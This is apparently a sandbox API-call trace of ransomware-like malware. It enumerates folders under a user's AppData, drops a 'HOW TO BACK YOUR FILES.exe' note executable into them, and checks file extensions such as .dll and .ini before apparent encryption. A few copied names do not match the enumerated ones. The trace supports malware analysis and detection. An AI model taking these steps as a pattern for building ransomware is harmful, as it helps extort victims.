	[0045.650] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1
	[0045.650] lstrcmpiW (lpString1="FORMS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.650] lstrcmpiW (lpString1="FORMS", lpString2="Apollon865.txt.exe") returned 1
	[0045.650] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="FORMS" | out: lpString1="FORMS") returned="FORMS"
	[0045.651] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0045.651] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x5916c0
	[0045.651] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0045.651] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x334689d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x334689d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.651] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.651] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1
	[0045.651] lstrcmpiW (lpString1="IME12", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.651] lstrcmpiW (lpString1="IME12", lpString2="Apollon865.txt.exe") returned 1
	[0045.651] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="IME12" | out: lpString1="IME12") returned="IME12"
	[0045.651] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0045.651] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x591740
	[0045.651] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0045.651] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1
	[0045.651] lstrcmpiW (lpString1="IMJP12", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.651] lstrcmpiW (lpString1="IMJP12", lpString2="Apollon865.txt.exe") returned 1
	[0045.651] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="IMJP12" | out: lpString1="IMJP12") returned="IMJP12"
	[0045.651] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0045.651] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf568
	[0045.651] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7b10
	[0045.651] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1
	[0045.651] lstrcmpiW (lpString1="IMJP8_1", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.651] lstrcmpiW (lpString1="IMJP8_1", lpString2="Apollon865.txt.exe") returned 1
	[0045.651] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="IMJP8_1" | out: lpString1="IMJP8_1") returned="IMJP8_1"
	[0045.651] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0045.651] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf788
	[0045.651] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7c10
	[0045.651] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1
	[0045.651] lstrcmpiW (lpString1="IMJP9_0", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.651] lstrcmpiW (lpString1="IMJP9_0", lpString2="Apollon865.txt.exe") returned 1
	[0045.651] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="IMJP9_0" | out: lpString1="IMJP9_0") returned="IMJP9_0"
	[0045.651] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0045.651] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf700
	[0045.652] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0045.652] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0045.652] lstrcmpiW (lpString1="Internet Explorer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.652] lstrcmpiW (lpString1="Internet Explorer", lpString2="Apollon865.txt.exe") returned 1
	[0045.652] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Internet Explorer" | out: lpString1="Internet Explorer") returned="Internet Explorer"
	[0045.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0045.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x599d28
	[0045.652] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c90
	[0045.652] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1
	[0045.652] lstrcmpiW (lpString1="Media Player", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.652] lstrcmpiW (lpString1="Media Player", lpString2="Apollon865.txt.exe") returned 1
	[0045.652] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Media Player" | out: lpString1="Media Player") returned="Media Player"
	[0045.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0045.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b8e08
	[0045.652] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0045.652] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1
	[0045.652] lstrcmpiW (lpString1="Office", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.652] lstrcmpiW (lpString1="Office", lpString2="Apollon865.txt.exe") returned 1
	[0045.652] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Office" | out: lpString1="Office") returned="Office"
	[0045.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0045.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf5f0
	[0045.652] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
	[0045.652] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1
	[0045.652] lstrcmpiW (lpString1="Outlook", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.652] lstrcmpiW (lpString1="Outlook", lpString2="Apollon865.txt.exe") returned 1
	[0045.652] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Outlook" | out: lpString1="Outlook") returned="Outlook"
	[0045.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0045.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf678
	[0045.652] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0045.652] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0045.652] lstrcmpiW (lpString1="Publisher", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.653] lstrcmpiW (lpString1="Publisher", lpString2="Apollon865.txt.exe") returned 1
	[0045.653] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Publisher" | out: lpString1="Publisher") returned="Publisher"
	[0045.653] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0045.653] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf810
	[0045.653] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0045.653] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TaskSchedulerConfig", cAlternateFileName="TASKSC~1")) returned 1
	[0045.653] lstrcmpiW (lpString1="TaskSchedulerConfig", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.653] lstrcmpiW (lpString1="TaskSchedulerConfig", lpString2="Apollon865.txt.exe") returned 1
	[0045.653] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="TaskSchedulerConfig" | out: lpString1="TaskSchedulerConfig") returned="TaskSchedulerConfig"
	[0045.653] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0045.653] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x599450
	[0045.653] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0045.653] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Visio", cAlternateFileName="")) returned 1
	[0045.653] lstrcmpiW (lpString1="Visio", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.653] lstrcmpiW (lpString1="Visio", lpString2="Apollon865.txt.exe") returned 1
	[0045.653] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Visio" | out: lpString1="Visio") returned="Visio"
	[0045.653] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0045.653] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x5917c0
	[0045.653] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fc70
	[0045.653] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0045.653] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.653] lstrcmpiW (lpString1="Windows", lpString2="Apollon865.txt.exe") returned 1
	[0045.653] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Windows Mail" | out: lpString1="Windows Mail") returned="Windows Mail"
	[0045.653] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0045.653] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b8d78
	[0045.653] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0045.653] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1
	[0045.653] lstrcmpiW (lpString1="Windows Media", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.653] lstrcmpiW (lpString1="Windows Media", lpString2="Apollon865.txt.exe") returned 1
	[0045.654] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Windows Media" | out: lpString1="Windows Media") returned="Windows Media"
	[0045.654] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0045.654] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8ce8
	[0045.654] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0045.654] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1
	[0045.654] lstrcmpiW (lpString1="Windows Sidebar", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.654] lstrcmpiW (lpString1="Windows Sidebar", lpString2="Apollon865.txt.exe") returned 1
	[0045.654] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Windows Sidebar" | out: lpString1="Windows Sidebar") returned="Windows Sidebar"
	[0045.654] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0045.654] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x5994f0
	[0045.654] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0045.654] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0
	[0045.654] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.654] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcf0
	[0045.654] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar"
	[0045.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0045.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0045.654] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar") returned 69
	[0045.654] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar"
	[0045.654] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.654] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows sidebar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.659] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.659] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3348eb30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3348eb30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.660] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.660] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.660] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="Gadgets" | out: lpString1="Gadgets") returned="Gadgets"
	[0045.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0045.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9c) returned 0x5994f0
	[0045.660] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0045.660] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3348eb30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3348eb30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.660] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.660] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 1
	[0045.660] lstrcmpiW (lpString1="Settings.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.660] lstrcmpiW (lpString1="Settings.ini", lpString2="Apollon865.txt.exe") returned 1
	[0045.660] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="Settings.ini" | out: lpString1="Settings.ini") returned="Settings.ini"
	[0045.660] lstrlenW (lpString="Settings.ini") returned 12
	[0045.660] lstrlenW (lpString="Apollon865") returned 10
	[0045.660] lstrcmpiW (lpString1="ttings.ini", lpString2="Apollon865") returned 1
	[0045.660] lstrlenW (lpString=".dll") returned 4
	[0045.660] lstrcmpiW (lpString1="Settings.ini", lpString2=".dll") returned 1
	[0045.660] lstrlenW (lpString=".lnk") returned 4
	[0045.660] lstrcmpiW (lpString1="Settings.ini", lpString2=".lnk") returned 1
	[0045.660] lstrlenW (lpString=".ini") returned 4
	[0045.660] lstrcmpiW (lpString1="Settings.ini", lpString2=".ini") returned 1
	[0045.660] lstrlenW (lpString=".sys") returned 4
	[0045.660] lstrcmpiW (lpString1="Settings.ini", lpString2=".sys") returned 1
	[0045.660] lstrlenW (lpString="Settings.ini") returned 12
	[0045.660] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets"
	[0045.660] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0045.660] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0045.660] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets") returned 77
